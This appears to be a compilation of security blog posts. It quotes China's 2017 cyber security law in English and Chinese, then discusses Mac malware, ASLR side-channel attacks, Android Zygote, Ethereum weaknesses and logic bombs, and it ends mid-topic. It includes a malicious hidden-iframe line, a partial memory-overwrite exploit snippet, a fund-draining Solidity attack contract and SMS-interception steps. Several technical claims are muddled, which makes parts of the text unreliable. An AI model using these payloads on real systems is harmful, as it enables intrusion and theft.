Greater China – New version of cyber security law with effective 1st June 2017

 

Preface:

It make foreign countries enterprise firm nervous that new cyber security law with effective 1st June 2017. The Article 5 looks with powerful privileges which causes solicitor, data privacy expert headache!

Let take a closer look of Article 5 (see below):

Article 5 The state shall take measures to monitor, defend against and deal with cybersecurity risks and threats from both inside and outside the territory of the People’s Republic of China, protect critical information infrastructure from attack, intrusion, interference and damage, punish illegal criminal activities on the network in accordance with the law, and maintain cyberspace security and order.

Techincal view point: In the sense that even though your web hosting not located in Greater China area once there is one endpoint located in Greater China the computer owner require to follow the new law.

Technical support criteria: Such surveillance process not difficult to do. A common network break through technique is man-in-the-middle. The data will be under monitor once owner provide web server enterprise e-cert, IPsec VPN pre-share secret or VPN certificate. The great wall will start the monitoring function.

Not surprised! It required to follow their law once you are going to do the business in China! Below is the cyber security law details for your reference.

2017 cyber security law for reference

General Provisions – 總則

Article 1 This Law is developed for the purposes of guaranteeing cybersecurity, safeguarding cyberspace sovereignty, national security and public interest, protecting the lawful rights and interests of citizens, legal persons and other organizations, and promoting the sound development of economic and social informatization.

第一條 為了保障網絡安全,維護網絡空間主權和國家安全、社會公共利益,保護公民、法人和其他組織的合法權益,促進經濟社會信息化健康發展,制定本法。

Article 2 This Law shall apply to the construction, operation, maintenance and use of the network as well as the supervision and administration of cybersecurity within the territory of the People’s Republic of China.

第二條 在中華人民共和國境內建設、運營、維護和使用網絡,以及網絡安全的監督管理,適用本法。

Article 3 The state shall lay equal stress on cybersecurity and information-based development, follow the guidelines of positive use, scientific development, legal management and security guarantee, promote the construction of network infrastructure and interconnection, encourage the innovation and application of network technologies, support the cultivation of cybersecurity talents, establish and improve the cybersecurity guarantee system, and enhance the capability to protect cybersecurity.

第三條國家堅持網絡安全與信息化發展並重,遵循積極利用、科學發展、依法管理、確保安全的方針,推進網絡基礎設施建設和互聯互通,鼓勵網絡技術創新和應用,支持培養網絡安全人才,建立健全網絡安全保障體系,提高網絡安全保護能力。

Article 4 The state shall develop and continuously improve cybersecurity strategies, specify the basic requirements and major objectives for guaranteeing cybersecurity, and propose cybersecurity policies, work tasks and measures in key fields.

第四條 國家製定並不斷完善網絡安全戰略,明確保障網絡安全的基本要求和主要目標,提出重點領域的網絡安全政策、工作任務和措施。

Article 5 The state shall take measures to monitor, defend against and deal with cybersecurity risks and threats from both inside and outside the territory of the People’s Republic of China, protect critical information infrastructure from attack, intrusion, interference and damage, punish illegal criminal activities on the network in accordance with the law, and maintain cyberspace security and order.

第五條國家採取措施,監測、防禦、處置來源於中華人民共和國境內外的網絡安全風險和威脅,保護關鍵信息基礎設施免受攻擊、侵入、干擾和破壞,依法懲治網絡違法犯罪活動,維護網絡空間安全和秩序。

Article 6 The state shall advocate honest, faithful, healthy and civilized network conduct, advance the spreading of core socialist values, and take measures to enhance the awareness and level of cybersecurity of the entire society, so as to form a favorable environment for promoting cybersecurity with the participation of the entire society.

第六條 國家倡導誠實守信、健康文明的網絡行為,推動傳播社會主義核心價值觀,採取措施提高全社會的網絡安全意識和水平,形成全社會共同參與促進網絡安全的良好環境。

Article 7 The state shall actively carry out international exchange and cooperation in terms of cyberspace governance, research and development of network technologies, formulation of standards thereof, and crackdown on illegal crimes committed on the network and other aspects, promote the construction of a peaceful, safe, open and cooperative cyberspace, and establish a multilateral, democratic and transparent system for cyber governance.

第七條國家積極開展網絡空間治理、網絡技術研發和標準制定、打擊網絡違法犯罪等方面的國際交流與合作,推動構建和平、安全、開放、合作的網絡空間,建立多邊、民主、透明的網絡治理體系。

Article 8 The national cyberspace administration shall be responsible for the overall planning and coordination of cybersecurity work and relevant supervision and administration. The competent telecommunications department of the State Council, public security departments and other relevant authorities shall be responsible for cybersecurity protection, supervision and administration within the scope of their respective functions in accordance with the provisions of this Law and other relevant laws and administrative regulations.

第八條 國家網信部門負責統籌協調網絡安全工作和相關監督管理工作。國務院電信主管部門、公安部門和其他有關機關依照本法和有關法律、行政法規的規定,在各自職責範圍內負責網絡安全保護和監督管理工作。

Article 9 Network operators shall, when conducting business operations and providing services, abide by laws and administrative regulations, respect social morality, observe business ethics, have good faith, perform the cybersecurity protection obligation, accept supervision by the government and the public, and undertake social responsibilities.

第九條 網絡運營者開展經營和服務活動,必須遵守法律、行政法規,尊重社會公德,遵守商業道德,誠實信用,履行網絡安全保護義務,接受政府和社會的監督,承擔社會責任

Article 10 For the construction and operation of the network or the provision of services through the network, technical measures and other necessary measures shall be taken in accordance with the provisions of laws and administrative regulations and the compulsory requirements of national standards to ensure the safe and stable operation of the network, effectively respond to cybersecurity incidents, prevent illegal criminal activities committed on the network, and maintain the integrity, confidentiality and availability of network data.

第十條建設、運營網絡或者通過網絡提供服務,應當依照法律、行政法規的規定和國家標準的強制性要求,採取技術措施和其他必要措施,保障網絡安全、穩定運行,有效應對網絡安全事件,防範網絡違法犯罪活動,維護網絡數據的完整性、保密性和可用性。

Article 11 Network-related industry organizations shall, in accordance with their charters, intensify industry self-discipline, formulate codes of conduct on cybersecurity, direct their members to strengthen cybersecurity protection, raise the level of cybersecurity protection, and promote the sound development of the industry.

第十一條 網絡相關行業組織按照章程,加強行業自律,制定網絡安全行為規範,指導會員加強網絡安全保護,提高網絡安全保護水平,促進行業健康發展。

Article 12 The state shall protect the rights of citizens, legal persons and other organizations to use the network in accordance with the law, promote the popularity of network access, provide better network services, provide the public with safe and convenient network services, and guarantee the orderly and free flow of network information in accordance with the law. Any individual or organization using the network shall comply with the Constitution and laws, follow public order and respect social morality, shall not endanger cybersecurity, and shall not use the network to conduct any activity that endangers national security, honor and interest, incites to subvert the state power or overthrow the socialist system, incites to split the country or undermine national unity, advocates terrorism or extremism, propagates ethnic hatred or discrimination, spreads violent or pornographic information, fabricates or disseminates false information to disrupt the economic and social order, or infringes upon the reputation, privacy, intellectual property rights or other lawful rights and interests of any other person.

第十二條 國家保護公民、法人和其他組織依法使用網絡的權利,促進網絡接入普及,提升網絡服務水平,為社會提供安全、便利的網絡服務,保障網絡信息依法有序自由流動。任何個人和組織使用網絡應當遵守憲法法律,遵守公共秩序,尊重社會公德,不得危害網絡安全,不得利用網絡從事危害國家安全、榮譽和利益,煽動顛覆國家政權、推翻社會主義制度,煽動分裂國家、破壞國家統一,宣揚恐怖主義、極端主義,宣揚民族仇恨、民族歧視,傳播暴力淫穢色情信息,編造、傳播虛假信息擾亂經濟秩序和社會秩序,以及侵害他人名譽、隱私、知識產權和其他合法權益等活動。

Article 13 The state shall support the research and development of network products and services that are conducive to the healthy growth of minors, legally punish the activities that damage the physical and mental health of minors by using the network, and provide a safe and healthy network environment for minors.

第十三條 國家支持研究開發有利於未成年人健康成長的網絡產品和服務,依法懲治利用網絡從事危害未成年人身心健康的活動,為未成年人提供安全、健康的網絡環境。

Article 14 Any individual or organization shall have the right to report the conduct that endangers cybersecurity to the cyberspace administration, telecommunications department, public security authority, and other departments. The department that receives the report shall handle such a report in a timely manner in accordance with the law, or transfer the report to the competent department in a timely manner if it falls outside its responsibility. The relevant department shall keep confidential the information on the informant, and protect the informant’s lawful rights and interests.

第十四條 任何個人和組織有權對危害網絡安全的行為向網信、電信、公安等部門舉報。收到舉報的部門應當及時依法作出處理;不屬於本部門職責的,應當及時移送有權處理的部門。有關部門應當對舉報人的相關信息予以保密,保護舉報人的合法權益

Cybersecurity Support and Promotion – 網絡安全支持與促進

Article 15 The state shall establish and improve the system of cybersecurity standards. The standardization administrative department of the State Council and other relevant departments of the State Council shall, according to their respective functions, organize the formulation of and revise at appropriate time national and industry standards relating to cybersecurity administration and the security of network products, services and operations. The state shall support enterprises, research institutions, institutions of higher learning, and network-related industry organizations in participating in the formulation of national and industry standards on cybersecurity.

第十五條 國家建立和完善網絡安全標準體系。國務院標準化行政主管部門和國務院其他有關部門根據各自的職責,組織製定並適時修訂有關網絡安全管理以及網絡產品、服務和運行安全的國家標準、行業標準。國家支持企業、研究機構、高等學校、網絡相關行業組織參與網絡安全國家標準、行業標準的製定。

Article 16 The State Council and people’s governments of provinces, autonomous regions and municipalities directly under the Central Government shall make overall planning, increase input, support key cybersecurity technology industries and projects, support the research, development and application of cybersecurity technologies, popularize safe and reliable network products and services, protect the intellectual property rights of network technologies, and support enterprises, research institutions, and institutions of higher learning, among others, in participating in national innovation projects on cybersecurity technologies.

第十六條國務院和省、自治區、直轄市人民政府應當統籌規劃,加大投入,扶持重點網絡安全技術產業和項目,支持網絡安全技術的研究開發和應用,推廣安全可信的網絡產品和服務,保護網絡技術知識產權,支持企業、研究機構和高等學校等參與國家網絡安全技術創新項目。

Article 17 The state shall boost the construction of a socialized service system for cybersecurity, and encourage relevant enterprises and institutions to provide such security services as cybersecurity authentication, detection and risk assessment.

第十七條 國家推進網絡安全社會化服務體系建設,鼓勵有關企業、機構開展網絡安全認證、檢測和風險評估等安全服務。

Article 18 The state shall encourage the development of technologies for protecting and using network data, promote the availability of public data resources, and promote technological innovation and social and economic development. The state shall support the innovation of cybersecurity management methods and the application of new network technologies to enhance cybersecurity protection.

第十八條 國家鼓勵開發網絡數據安全保護和利用技術,促進公共數據資源開放,推動技術創新和經濟社會發展。國家支持創新網絡安全管理方式,運用網絡新技術,提升網絡安全保護水平。

Article 19 People’s governments at all levels and their relevant departments shall organize regular cybersecurity publicity and education, and direct and urge relevant entities to conduct cybersecurity publicity and education in an effective manner. Mass media shall offer pertinent cybersecurity publicity and education to the public.

第十九條 各級人民政府及其有關部門應當組織開展經常性的網絡安全宣傳教育,並指導、督促有關單位做好網絡安全宣傳教育工作。大眾傳播媒介應當有針對性地面向社會進行網絡安全宣傳教育

Article 20 The state shall provide support to enterprises, institutions of higher learning, vocational schools and other education training institutions to conduct cybersecurity-related education and training, take multiple means to cultivate cybersecurity talents, and promote the exchange of cybersecurity talents.

第二十條 國家支持企業和高等學校、職業學校等教育培訓機構開展網絡安全相關教育與培訓,採取多種方式培養網絡安全人才,促進網絡安全人才交流。

Network Operation Security – 網絡運行安全

Section 1 General Provisions – 一般規定

Article 21 The state shall implement the rules for graded protection of cybersecurity.Network operators shall, according to the requirements of the rules for graded protection of cybersecurity, fulfill the following security protection obligations, so as to ensure that the network is free from interference, damage or unauthorized access, and prevent network data from being divulged, stolen or falsified.

(1) Developing internal security management rules and operating procedures, determining the persons in charge of cybersecurity, and carrying out the responsibility for cybersecurity protection.

(2) Taking technical measures to prevent computer viruses, network attack, network intrusion and other acts endangering cybersecurity.

(3) Taking technical measures to monitor and record the status of network operation and cybersecurity incidents, and preserving relevant weblogs for not less than six months as required.

(4) Taking measures such as data categorization, and back-up and encryption of important data.

(5) Performing other obligations as prescribed by laws and administrative regulations.

第二十一條 國家實行網絡安全等級保護製度。網絡運營者應當按照網絡安全等級保護製度的要求,履行下列安全保護義務,保障網絡免受干擾、破壞或者未經授權的訪問,防止網絡數據洩露或者被竊取、

篡改:

(一)制定內部安全管理制度和操作規程,確定網絡安全負責人,落實網絡安全保護責任;

(二)採取防範計算機病毒和網絡攻擊、網絡侵入等危害網絡安全行為的技術措施;

(三)採取監測、記錄網絡運行狀態、網絡安全事件的技術措施,並按照規定留存相關的網絡日誌不少於六個月;

(四)採取數據分類、重要數據備份和加密等措施;

(五)法律、行政法規規定的其他義務。

Article 22 Network products and services shall comply with the compulsory requirements of relevant national standards. Providers of network products and services shall not install malware. When a provider discovers any risk such as security defect and vulnerability of its network products or services, it shall immediately take remedial measures, inform users in a timely manner, and report it to the competent department in accordance with relevant provisions. Providers of network products and services shall continuously provide security maintenance for their products and services, and shall not terminate the provision of security maintenance within the stipulated period or the period agreed upon by the parties. Where network products and services have the function of collecting users’ information, their providers shall explicitly notify their users and obtain their consent. If any user’s personal information is involved, the provider shall also comply with this Law and the provisions of relevant laws and administrative regulations on the protection of personal information.

第二十二條 網絡產品、服務應當符合相關國家標準的強制性要求。網絡產品、服務的提供者不得設置惡意程序;發現其網絡產品、服務存在安全缺陷、漏洞等風險時,應當立即採取補救措施,按照規定及時告知用戶並向有關主管部門報告。網絡產品、服務的提供者應當為其產品、服務持續提供安全維護;在規定或者當事人約定的期限內,不得終止提供安全維護。網絡產品、服務具有收集用戶信息功能的,其提供者應當向用戶明示並取得同意;涉及用戶個人信息的,還應當遵守本法和有關法律、行政法規關於個人信息保護的規定。

Article 23 Key network equipment and specialized cybersecurity products shall, in accordance with the compulsory requirements of relevant national standards, pass the security certification conducted by qualified institutions or meet the requirements of security detection before being sold or provided. The national cyberspace administration shall, in conjunction with relevant departments of the State Council, develop and release the catalogue of key network equipment and specialized cybersecurity products, and promote the mutual recognition of security certification and security detection results to avoid repeated certification and detection.

第二十三條 網絡關鍵設備和網絡安全專用產品應當按照相關國家標準的強制性要求,由具備資格的機構安全認證合格或者安全檢測符合要求後,方可銷售或者提供。國家網信部門會同國務院有關部門製定、公佈網絡關鍵設備和網絡安全專用產品目錄,並推動安全認證和安全檢測結果互認,避免重複認證、檢測。

Article 24 Where network operators provide network access and domain registration services for users, handle network access formalities for fixed-line or mobile phone users, or provide users with information release services, instant messaging services and other services, they shall require users to provide true identity information when signing agreements with users or confirming the provision of services. If any user fails to provide his or her true identify information, the network operator shall not provide him or her with relevant services. The state shall implement the strategy of credible identity in cyberspace, support the research and development of safe and convenient technologies for electronic identity authentication, and promote mutual recognition among different electronic identity authentication technologies.

第二十四條網絡運營者為用戶辦理網絡接入、域名註冊服務,辦理固定電話、移動電話等入網手續,或者為用戶提供信息發布、即時通訊等服務,在與用戶簽訂協議或者確認提供服務時,應當要求用戶提供真實身份信息。用戶不提供真實身份信息的,網絡運營者不得為其提供相關服務。國家實施網絡可信身份戰略,支持研究開發安全、方便的電子身份認證技術,推動不同電子身份認證之間的互認。

Article 25 Network operators shall make emergency response plans for cybersecurity incidents, and deal with system bugs, computer viruses, network attack, network intrusion and other security risks in a timely manner. When any incident endangering cybersecurity occurs, the relevant operator shall immediately initiate the emergency response plan, take corresponding remedial measures, and report it to the competent department in accordance with relevant provisions.

第二十五條網絡運營者應當制定網絡安全事件應急預案,及時處置系統漏洞、計算機病毒、網絡攻擊、網絡侵入等安全風險;在發生危害網絡安全的事件時,立即啟動應急預案,採取相應的補救措施,並按照規定向有關主管部門報告。

Article 26 Such activities as cybersecurity authentication, detection and risk assessment shall be conducted, and cybersecurity information on system bugs, computer viruses, network attack, and network intrusion, among others, shall be released to the public in accordance with relevant provisions of the state.

第二十六條 開展網絡安全認證、檢測、風險評估等活動,向社會發布系統漏洞、計算機病毒、網絡攻擊、網絡侵入等網絡安全信息,應當遵守國家有關規定。

Article 27 No individual or organization may conduct any activity endangering cybersecurity, such as illegally intruding into any other person’s network, interfering with the normal functions of any other person’s network, and stealing network data, or provide programs or tools specifically used for conducting activities endangering cybersecurity, such as network intrusion, interference with normal functions and protective measures of the network, and stealing of network data. Whoever knows that any other person conducts any activity endangering cybersecurity shall not provide technical support, advertising promotion,payment and settlement services or any other assistance to such a person.

第二十七條任何個人和組織不得從事非法侵入他人網絡、干擾他人網絡正常功能、竊取網絡數據等危害網絡安全的活動;不得提供專門用於從事侵入網絡、干擾網絡正常功能及防護措施、竊取網絡數據等危害網絡安全活動的程序、工具;明知他人從事危害網絡安全的活動的,不得為其提供技術支持、廣告推廣、支付結算等幫助。

About apple Mac security topic – Does it a Trojan horse or administrator negligence?

Attention:

In regards to the subject matter, below details is a short discussion and therefore not require to written in details long form. Enjoy!

Preface:

Once upon a time. The Greek army going to breakthrough the Troy city defense mechanism. A group of army  hide themselves inside a horse…….

Discussion topic – malware bypasses gatekeeper 

Sound strange! Heard that the malware can bypass apple computer detection mechanism, said macdailynews. It is hard to imagine that how’s the hacker can do this magic?

http://macdailynews.com/2017/04/28/nasty-mac-malware-bypasses-apples-macos-gatekeeper-undetectable-by-most-antivirus-apps/

As far as I know, similar scenario type of cyber attack aim to bypass defense mechanism was happened in past. But it is a non apple OS platform. Hacker relies of iframe programming technique (see below program syntax). The method is that hacker is going to find a vulnerable web site which did not have implement content security control. They will embeds a malicious iframe code snippet in this website page. When anyone visits that page, the hidden iframe code secretly downloads and installs a Trojan or a malware such as key-logger on the unsuspecting user’s computer, if his computer is not adequately protected. The web site will unintended become a malicious host in the long run if the web admin not aware. As a result the host will be include in the abuse by internet community and put his domain record into black list.

Program syntax

<iframe src="http://unknown.com/iframe-attack.php" width=100% height=0></iframe>

Remark: Some sort of vulnerability scanner evaluate the iframe attack and categorize in medium severity.

Do you think there is a need to change the severity level now?

Malicious code embedded on enterprise certificate file

We kno wn that generate ecert is a straight forward process. The server administrator generate a CSR file on server side. Then SSL certificate vendor provides the certificate files afterwards according to CSR file. From technical point of view, the contents contains in certificate file is not a human readable language. And therefore web server administrator less check the details in general circumstances. It is hard to imagine that bad guy relies on this matter to do the criminal work. For example, embedded code in the certificate file. The benefits is that this malicious activities will be protected by default encryption mechanism. The malicious traffic will be pass through the defense mechanism cross check. And such away fooling the detection and preventive control .

Sample: Below SSL enterprise certificate file indicate that the application can install additional apps that were signed with this certificate. In the sense that it can bypass defense mechanism by Apple.

Summary:

As we know, information security is a continuous program. Above 2 risk items (iframe attack (Clickjacking) and e-cert embedded with abnormal program syntax) bring the following idea for our reference.

1. Do not ignore the vulnerability management program about iFrame vulnerability

2. During the e-cert installation, a better idea to use online tools to verify the e-cert. You can find the online verification tools on internet. For example: Symantec

 

Copy – He is great partner of virtual machine but he can kill VM simultaneously – address space layout randomization

Announcement – Since the original post encountered slow response issue. In order to keep the comments input by visitors. We are going to keep the original post. This post is cater for visitor who can’t access the original web page. Please accept our apologizes that has been made.

 

 

The trend in IT world running into virtual world nowadays. Even though your mobile phone operation system is run on top of virtual machine. The memory resources utilization from tradition static to dynamic since virtual machine architecture founded. Security experts worries about infiltration of malware on virtual machine. A mitigation step introduce on VMware since 2014. The system designer conducted a technology alleged address space layout randomization. As a result it avoid malware implant to kernel since no living place for the malware alive (see below – a statement on technical article point out that how ASLR bring in the value)

The VMware ESXi kernel uses an address space layout randomization (ASLR) methodology to provide random and unpredictable addresses for user-mode applications, drivers, libraries and other executable components. This is a significant security benefit because of the way ASLR thwarts malware looking to take advantage of memory-based exploits. The malware would not have a known address to use as a vector for the exploit because of the randomization.

As times goes by, ASLR not even is the assistance of virtual machine designer. On the other hand, he will become a killer to kill his master. But this fact is not a news today. Regarding to the technology expertise experimental studies, it is possible to execute a attack on kernel side through malicious Java application. The method is a kind of side-channel attack (side-channel attacks) and based on the definition of indirect addresses to which had previously been handling when traversing page tables memory processor unit MMU (Memory Management Unit) in the translation of virtual memory addresses to physical memory addresses. Since cache CPU general and it is recognized as an active application or activity the MMU, then by evaluating differences in data access time before and after resetting the cache (the attack variety “EVICT + TIME”) can with high probability to choose the address and able to detect the locations since it is under the operation of memory management unit.

By breaking ASLR, an attacker will know where code executes, and prepare an attack that targets the same area of the memory, stealing sensitive information stored in the computer’s memory.

The vulnerability channel found on web browser announced by Professor of Computer Science at Cornell Tech on Jan 2016.

When attacking browsers, may be able to insert arbitrary objects into the victim’s heap. Let’s focus on web browser design fundamental.

Web applications communicate with each other through system calls to the browser kernel. As we know, web applications exist in separate processes owned by the browser kernel, they are prohibited from communicating with each other, except through the browser kernel.

 

However Plugins are less reliable than browsers.

However Plugins are less reliable than browsers

 

As a matter of fact, Java script is the helper of ASLR vulnerability. Sounds like java-script is an accomplice. The murderer is plug in application.

But in which situation virtual machine will be compromise of this vulnerability?

From technical point of view hacker engage a cyber attack targets workplace on memory area we understood that it is a malware form style attack.  As we know, AMD architecture define a feature named SVM instruction set.  AMD virtualization technology, codenamed “Pacifica,” introduces several new instructions and modifies several existing instructions to facilitate the implementation of VMM systems.
The SVM instruction set includes instructions to:

Start execution of a guest (VMRUN)
Save and restore subsets of processor state (VMSAVE,VMLOAD)
Allow guests to explicitly communicate with the VMM (VMMCALL)
Set and clear the global interrupt flag (STGI, CLGI)
Invalidate TLB entries in a specified ASID (INVLPGA)
Read and write CR8 in all processor modes
Secure init and control transfer with attestation (SKINIT)

Remark: Fundamentally, VMMs (Hypervisor) work by intercepting and emulating in a safe manner sensitive operations in the guest (such as changing the page tables, which could give a guest access to memory it is not allowed to access).

 

As such,  you are more free to run on memory address space once AMD-V is enabled in the BIOS (or by the host OS).

Remark: (VERR_SVM_ENABLED)

Below confirmed CVEs looks headaches to virtual machine core designers (VMWARE, VBOX, Hyper-V), right?

  • CVE-2017-5925 for Intel processors
  • CVE-2017-5926 for AMD processors
  • CVE-2017-5927 for ARM processors
  • CVE-2017-5928 for a timing issue affecting multiple browsers

Since founded AnC attack (EVICT+TIME), it  can detect which locations in the page table pages are accessed during a page table walk performed by the MMU.  In the sense that it such a way broken the ASLR feature on virtual machine. The objective of ASLR mainly avoid malware infection on virtual machine. What scenario we can foreseen tomorrow!

Sample: Java code with execute arbitrary memory write

// prepare buffer with address we want to write to
ptrBuf = ""
// fill buffer: length = relative ptr address - buffer start + ptr offset
while (ptrBuf.length < (0x????? - 0x9????? + 0xC)){ptrBuf += "A"}
ptrBuf += addr

// overflow buffer and overwrite the pointer value after buffer
obj.SetText(ptrBuf,0,0)

// use overwritten pointer to conduct memory write of 4 bytes
obj.SetFontName("\xbe\xba\xfe\xca") // WHAT TO WRITE
alert("Check after write:0x???????? + 0x?

 

 

 

 

 

Mobile apps like your wife or girlfriend. They are tracing you!

 

Preface

Power is always dangerous…..Android rule the world

 

About mobile phone security

Independently conducted by antihackingonline

The attack hit rate on personal mobile devices rate high. Mobile phone user enjoy to play the game apps. In order to fulfill the application requirement, their web browser require enable the plugins like Flash and Java in order to display some interactive content.

Culprit – Android OS (Zygote)

Zygote is a software component of the Android operating system uses to start apps.  The mechanism of the Zygote process will create a process (System call fork() is used to create processes), and the child process continues where it left off, loading the app itself into the VM.

ActivityThread,main() – see below

public static void main(String[] args) {
    ...
    Environment.initForCurrentUser();
    ...
    Process.setArgV0("<pre-initialized>");
    //Create the main thread looper
    Looper.prepareMainLooper();

    ActivityThread thread = new ActivityThread();
    //attach To the system process
    thread.attach(false);

    if (sMainThreadHandler == null) {
        sMainThreadHandler = thread.getHandler();
    }

    //The main thread enters the loop state
    Looper.loop();

    throw new RuntimeException("Main thread loop unexpectedly exited");
}

Zygote require root permissions on Android OS but it is an inherit right. And therefore Process ID is 1.

Remark: ID 1: init process, invoked by the kernel at the end of the bootstrap procedure.

Android zygote security weaknesses caused by performance design

An evaluation program found that the Address Space Layout Randomization (ASLR) not effectively implement in Android OS. As a result , it leaving software components vulnerable to attacks that bypass the protection. Zygote process creation model causes two types of  memory  layout  sharing  on  Android,  which  undermine  the effectiveness of ASLR. Firstly, the code of an application is always loaded at the exact same memory location across different runs even when  ASLR  is  present;  and  secondly,  all  running apps  inherit  the  commonly  used  libraries  from  the  Zygote process (including the libc library). For more details about the weakness of ASLR on VM. Please refer to below URL for reference.

Mirror Copy – He is great partner of virtual machine but he can kill VM simultaneously – address space layout randomization

 

Remark: Android 7.0 or above, library load order randomization and ASLR improved. The major improvement goal increase randomness feature. As a result it makes some code-reuse attacks decrease successful rate.

Inline hooking – Inline hooking is a method of intercepting calls to target functions. For instance, prepares hooks for the following system properties.

  • java.lang.System.getProperty()
  • android.app.Instrumentation.newApplication()
  • com.android.internal.telephony.SMSDispatcher.dispatchPdus()
  • android.app.ActivityManager.getRunningServices()
  • android.app.ActivityManager.getRunningAppProcesses()
  • android.app.ApplicationPackageManager.getInstalledPackages()
  • android.app.ApplicationPackageManager.getInstalledApplications()

If the software developer would like to obtains SMS data on your mobile phone (Android), he can do the following steps.

  1. Manages SMS operations such as sending data

    void sendDataMessage (String destinationAddress, 
                    String scAddress, 
                    short destinationPort, 
                    byte[] data, 
                    PendingIntent sentIntent, 
                    PendingIntent deliveryIntent)

    2. The null pointer exception is directly linked to name. i.e. isms or isms2.

    3. The transact() method is redefined in the customized program “isms” (or isms2) binder realization, replacing the original.

    4. When the parent application of the customized program sends an SMS it leads to the call of the customized program transact() method.

    5. As a result, the customized program can obtains SMS data (destination number, message text, service center number) from raw PDU.

Current status

It is hard to draw into conclusion on this discussion topics this moment. We keep our eye open see whether a new vulnerability find on Zygote in 3rd quarter in 2017 . Ok, have a good sleep.  Zzzzzzz……

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The achilles heels of Ethereum (block chain technology)

Preface

What is Achilles heel: a small problem or weakness in a person or system that can result in failure. If you familiar with Chinese Kung Fu,  the key word “achilles heels” you might not feeling unfamiliar.

Wake the world attention – Ethereum security incidents

Jun 2016 –  Decentralized Autonomous Organization (DAO) attack – Code Issue Leads to $60 Million Ether Theft

Jul 2017South Korea’s largest Bitcoin/Ethereum cryptocurrency exchange ‘Bithumb’ hacked and over $1 Million in cryptocurrencies stolen

Ethereum claimed itself that he is the most Secure Public Blockchain. He is on the way overtaking Bitcoin technology. But what’s the key factor causes cyber security incidents happened in past?

The technical weakness summarized below:

  1. The Ethereum network itself might not vulnerable. “DAO” stands for “Decentralized Autonomous Organization”. It’s basically a type of application (a smart contract system) that can be deployed on the Ethereum network/blockchain. The hacker took advantage of a vulnerability in the contract code, written in the JavaScript allows a single participant to “drain” Ethereum tokens from the collected pool of all the investor money to a separate personal pool, which “the attacker” can then use by himself.
  2. A warning about the mempool transaction replacement mechanism.Implementors should take this into account and try to create contract mechanisms that do not rely on mempool replacement if they wish to have their implementations work with current implementations.
  3. Large Hashrate Pools Accidental suspend the services. Pools with larger hash-rates have recently been using the built in feature to only process their nodes own transactions. High volume of transaction which waiting for confirmation will slow down the performance of the pool causes services suspended.

Sample survey – in regards to cyber security incidents in the past

Investigation step 1 – Does Ethereum client have memory pool?

Yes, similar concept of memory pool definition will be valid in client side. The similar function  is for keeps transactions like Bitcoin’s mempool. The naming convention of the key term is the Transaction Pool, or TxPool in the code (see below)

var (
    // Transaction Pool Errors
   ...
)

const (
    maxQueued = 64 // max limit of queued txs per address
)

...
// TxPool contains all currently known transactions. Transactions
// enter the pool when they are received from the network or submitted
// locally. They exit the pool when they are included in the blockchain.
//
// The pool separates processable transactions (which can be applied to the
// current state) and future transactions. Transactions move between those
// two states over time as they are received and processed.
type TxPool struct {
    quit         chan bool // Quiting channel
    ...

Inherent risk & design limitation

i. Transactions may reverted

Ethereum Virtual Machine (EVM Level)

Python – If C calls D.foo(), and foo does a throw ((bad jump, out-of-gas, or any other exception), as a result the entire transaction reverted.

Known bug bug in geth v1.4.19 and v1.5.2 – Geth was failing to revert empty account deletions when the transaction causing the deletions of empty accounts ended with an an out-of-gas exception. An additional issue was found in Parity, where the Parity client incorrectly failed to revert empty account deletions in a more limited set of contexts involving out-of-gas calls to precompiled contracts; the new Geth behavior matches Parity’s, and empty accounts will cease to be a source of concern in general in about one week once the state clearing process finishes.

Remark: out of gas definition – The gas cost can only be estimated until the transaction is executed against the actual contract state at the time of execution on the blockchain. If the transaction run out of gas before transaction complete. EVM exceptions result in all gas being consumed, and the transaction being rolled back. Gas is not returned if a transaction is unsuccessful because otherwise malicious users could spam the network with unsuccessful transactions.

ii. Authorization security consideration – Never use tx.origin for authorization (Detail 1). If your wallet had checked msg.sender for authorization, it would get the address of the attack wallet, instead of the owner address. But by checking tx.origin, it gets the original address that kicked off the transaction, which is still the owner address. The attack wallet instantly drains all your funds (Detail 2).

wallet contract – Detail 1

pragma solidity ^0.4.11;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    function TxUserWallet() {
        owner = msg.sender;
    }

    function transferTo(address dest, uint amount) {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

attack wallet – Detail 2

pragma solidity ^0.4.0;

contract TxAttackWallet {
    address owner;

    function TxAttackWallet() {
        owner = msg.sender;
    }

    function() {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}

Ethereum enhance the programming language of protection.But what’ the reason let’s the Biggest Ethereum and Bitcoin Exchanges Got Hacked?

About South Korea’s Largest Ethereum Exchange Was Hacked – Headline news hints that the attackers are setting their sights on people’s digital currency wallets (see following url for reference) http://fortune.com/2017/07/05/bitcoin-ethereum-bithumb-hack/. From technical point of view, this is client side data breach instead of server side, right.  Since the case is under South Korea law enforcement investigation. No details provides in the meantime. For more detail, please read following url http://english.yonhapnews.co.kr/national/2017/07/03/52/0302000000AEN20170703010400320F.html

My comment in regards to this case – since cyber incident more possibility happens on computer user negligence. Yes, I agree that we must focus the system and application design limitation. Since no any conclusion or prediction this moment. But a hints would like to bring to your consideration . Be my guest, see below detail for reference.

Fundamental design weakness of Ethereum node implemented in Go

Reference: When you are going to unlock account.   The command tool Geth will be used.  You’ll be prompted to type in the password afterward.

geth --unlock <YOUR_ACCOUNT_ADDRESS> --password <YOUR_PASSWORD>

A security concerns was happend here! In the earlier versions of Geth, providing the password as a parameter would cause the password to show up in the Geth log.  So our clever reader will speculated the story and final result properly. There is not required to mention the details again, right?

RemarkGeth is a multipurpose command line tool that runs a full Ethereum node implemented in Go. It offers three interfaces: the command line subcommands and options, a Json-rpc server and an interactive console.

Have a nice weekend.

Reference:

Rouge-et-noir , they are all going to achieve this objective (blockchain or Hyperledger)

 

 

 

 

 

 

 


	

21st century kill chain (logic bomb, cyber bomb and ransomware)

Preface

The 21st century is the current century of the Anno Domini era, in accordance with the Gregorian calendar. It began on January 1, 2001 and will end on December 31, 2100. It is the first century of the 3rd millennium.

We can’t tolerate cyber attack happen in election again, President said.

https://www.washingtonpost.com/graphics/2017/world/national-security/obama-putin-election-hacking/?utm_term=.777d18938599

Headline news told that former president Obaman intend to use new technique to reduce other country especially Russia engage the cyber attack to USA during 2016 election of president. The solution is that activate a cyber bomb technique. But this idea did not action yet.

What is a logic bomb?

A logic bomb is a piece of code intentionally inserted into a software system that will set off a malicious function when specified conditions are met. The technical term so called slag code.

What is slag code?

